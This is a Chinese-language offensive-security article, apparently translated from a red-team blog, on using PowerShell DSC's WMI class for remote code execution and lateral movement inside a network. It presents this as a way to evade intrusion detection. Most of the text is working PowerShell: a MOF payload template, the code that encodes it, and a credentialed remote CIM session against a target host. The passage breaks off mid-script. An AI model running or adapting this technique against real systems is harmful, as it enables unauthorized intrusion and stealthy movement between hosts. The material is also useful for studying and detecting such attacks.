利用DSC滲透內網的簡要描述
PowerShell所需狀態配置(DSC)允許用戶直接使用WMI直接執行資源。使用DSC WMI類,攻擊者可以通過濫用內置腳本資源來實現遠程PowerShell代碼執行。利用這個技巧進行內網滲透的好處如下:
1.PowerShell代碼會在WMI服務二進制文件 – wmiprvse.exe的上下文中執行。從逃避入侵檢測的角度(至少在發布此博客文章之前)來看,這種辦法可以稱為比調用Win32_Process的Create方法從wmiprvse.exe生成子進程然后執行命令行更為有益的一種滲透技巧。
2.有效載荷的每個組件都只通過WMI。
3.不需要配置DSC服務的配置(甚至不需要了解DSC相關的知識)。
利用DSC內網滲透時的技術要求
1.ResourceTest方法必須存在于root/Microsoft/Windows/DesiredStateConfiguration命名空間中的MSFT_DSCLocalConfigurationManagerWMI類中。注意:攻擊者也可以選擇調用ResourceGet或ResourceSet方法。PowerShell DSC是在PowerShell v4中引入的,因此并非所有的主機都可以使用此技術。
2.默認情況下,你必須具有管理員憑據才能遠程調用WMI方法。遠程執行時,WMI通過DCOM或WSMan安全設置(取決于所使用的傳輸方法)得到保護。在建立遠程連接時,WMI本身通過特定于目標命名空間的安全描述符來保護,在本文中的示例是root/Microsoft/Windows/DesiredStateConfiguration。
武器化概念驗證
第一步是準備要執行的有效載荷。首先要在目標上執行的PowerShell代碼需要以MOF格式進行格式化。下面是將在目標上執行的有效載荷示例:
$MOFContents = @'
instance of MSFT_ScriptResource as $MSFT_ScriptResource1ref
{
ResourceID = "[Script]ScriptExample";
GetScript = "\"$(Get-Date): I am being GET\" | Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append; return $True";
TestScript = "\"$(Get-Date): I am being TESTED\" | Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append; return $True";
SetScript = "\"$(Get-Date): I am being SET\" | Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append; return $True";
SourceInfo = "::3::5::Script";
ModuleName = "PsDesiredStateConfiguration";
ModuleVersion = "1.0";
ConfigurationName = "ScriptTest";
};
instance of OMI_ConfigurationDocument
{
Version="2.0.0";
MinimumCompatibleVersion = "1.0.0";
CompatibleVersionAdditionalProperties= {"Omi_BaseResource:ConfigurationName"};
Author="TestUser";
GenerationDate="02/26/2018 07:09:21";
GenerationHost="TestHost";
Name="ScriptTest";
};
'@
實際上,唯一需要改變的是PowerShell有效載荷。在我們的示例中,我們將調用與上面的代碼中的“TestScript”屬性中的有效載荷相對應的方法ResourceTest。請注意,特殊字符需要轉義!自動MOF生成和有效載荷轉移絕對是可以自動化的。
下一步是將MOF轉換為二進制形式,這是ResourceTest方法所需要的:
# Change this to false if you want to test the payload locally
$ExecuteRemotely = $True
$NormalizedMOFContents = [Text.Encoding]::UTF8.GetString([Text.Encoding]::ASCII.GetBytes($MOFContents))
$NormalizedMOFBytes = [Text.Encoding]::UTF8.GetBytes($NormalizedMOFContents)
$TotalSize = [BitConverter]::GetBytes($NormalizedMOFContents.Length + 4)
if ($ExecuteRemotely) {
# Prepend the length of the payload
[Byte[]] $MOFBytes = $TotalSize + $NormalizedMOFBytes
} else {
# If executing locally, you do not prepend the payload length
[Byte[]] $MOFBytes = $NormalizedMOFBytes
}
在上面的示例中需要注意的是,如果要在本地測試有效載荷,則不要將有效載荷長度添加到字節數組中。現在你已經正確編碼了有效載荷,剩下要做的就是在目標機器上執行它!
# Specify the credentials of your target
$Credential = Get-Credential -Credential TempUser
$ComputerName = 'TargetHost'
# Establish a remote WMI session with the target system
$RemoteCIMSession = New-CimSession -ComputerName $ComputerName -Credential $Credential
$LCMClass = Get-CimClass -Namespace root/Microsoft/Windows/DesiredStateConfiguration -ClassName MSFT_DSCLocalConfigurationManager -CimSession $RemoteCIMSession
if ($LCMClass -and $LCMClass.CimClassMethods['ResourceTest']) {
# You may now proceed with lateral movement
$MethodArgs = @{
ModuleName = 'PSDesiredStateConfiguration'
ResourceType = 'MSFT_ScriptResource'
resourceProperty = $MOFBytes
}
$Arguments = @{
Namespace = 'root/Microsoft/Windows/DesiredStateConfiguration'
|